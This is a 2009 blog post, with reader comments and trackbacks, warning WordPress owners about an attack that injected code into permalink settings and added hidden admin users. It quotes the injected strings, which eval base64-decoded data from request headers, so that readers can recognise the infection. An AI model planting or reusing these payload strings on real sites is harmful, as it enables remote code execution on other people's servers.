Hey Guys,
Just realized that a lot of people were hit with this latest Wordpress Blog Attack – Its a MySQL Injection that screws up your permalinks and in turn makes you blog post links not work! So I figured i’d write up this quick post to help some people out!
It appears that yesterday, many wordpress blogs got hit with this nasty hack that appended a
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
Or a
“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
to your permalinks which rendered your blog post links useless unless someone physically removed the infected string of code from the URL
Hope this helps everyone! You can also delete the hidden user from PHPMyAdmin directly from the database, whatever you are comfortable with.
UPDATE: Mashable has written about this issue here.
NEWEST UPDATE: Wordpress Responds to Attacks
NEWEST UPDATE: OFFICIAL RESPONSE FROM WORDPRESS
Here are some other good posts on the topic and have other examples that may be more specific to your issue:
http://www.netpassiveincome.com/wordpress-mysql-injection-permalink/
http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/
by:Andy Sowards
Thx 4 Reading!

Damn. My wordpress is up to date, there’s no extra junk in my permalinks settings and there’s no additional users. But all my links are stuffed. A;; the symptoms of the current bug. I can’t find any info anywhere other than to make sure it’s the latest version which it is. Don’t tell me I have to do a fresh install. Arrrrrggggh!
Please be careful before spreading information that isn’t proven; it’s most likely that your system was compromised before your upgrade to 2.8.4. Have you looked at your server logs yet? Do you know when the compromise occurred, how it occurred, and which version of WP you were running at that time? THIS is the info we need before we can state which version of WP has a vulnerability.
This was fixed in a round-about way by WordPress 2.8.1
WordPress 2.8.4 is not vulnerable. It is, however, possible that you were compromised before upgrading, and they still have a user account or have placed an exploit file on your server to allow for ongoing access. Delete user accounts you don’t recognize, and remove foreign PHP files.
sadly none of these links provide a “fix”… it simply tells you how to scoop up the water flowing in with a tea spoon =/
hmmm thought i read the vuln. hits 2.8.4 also? (which is the latest) sorry if i’m wrong. can’t go back and check at the moment
[...] How to fix the Wordpress Worm Related Posts:Client Profile: Relational Energy Healing with Dean RamsdenWordpress gets noticed by USA TodayNew Homepage Copy… Thanks to Tanisha RobinsonWordcamp Columbus coming May 16th to Columbus State Campus"Link Builders Pro" Review and Case Study: Bad Service, No Results [...]
[...] Andy Sowards hat eine kleine Anleitung dazu geschrieben, wie man sich dieser Probleme gezielt wieder entledigt. Diese ist allerdings in Englisch von daher werde ich diese soweit ins Deutsche übersetzen. Danksagungen gehen bitte also an Andy Sowards. [...]
[...] mit Abmahnungen auf Fehltritte – es gibt auch technische Gefahren, zum Beispiel mal wieder eine Attacke gegen alten Wordpress-Versionen, wer also noch nicht die aktuellste Version eingespielt hat: spätestens jetzt wird es Zeit (selbst [...]
[...] Eine englische Beschreibung des Problems, inklusive Anleitung zur Auffindung der versteckten Admins (Achtung oft sind es mehrere) findet sich hier. [...]
[...] Breaking: Wordpress MySQL injection – how to fix latest attack %&({${eval(base64_decode($_… – Cet article a été publié dans Delicious avec les mots-clefs : favoris. Bookmarker le permalien. Laisser un commentaire ou faire un trackback : URL de trackback. « Mes favoris du 3-09-09 au 4-09-09 [...]
[...] für gehackt Wordpress Blog’s. [...]
[...] Wer auf diese Art gehackt wurde, sollte folgenden Beitrag auf Andy Sowards Blog lesen. Danke an Sergej für diesen [...]
[...] Infos dazu gibt es auf dem Wordpress Deutschland Blog oder bei Andy Sowards. Tags » Trackback: Trackback-URL | Feed zum Beitrag: RSS 2.0 [...]
[...] Hier noch ein Lösungsansatz von Andy Sowards, via wpSEO@twitter Veröffentlicht am 5. September 2009 um 17:59 von Adler Olivia · Permalink [...]
[...] ist dein Freund, spuckte sogleich die Lösung aus, die innerhalb weniger Sekunden umgesetzt war. Ich nehme das jetzt einfach mal als Anlass, mein [...]
[...] blog posts URLs will not work. Numerous WordPress blogs were targetted in this attack, Thanks to Andy Soward for bringing this to our [...]
I just deleted the users, but did not delete the user name with a weird code is that enough? also changed cpanel, db and wp passwords?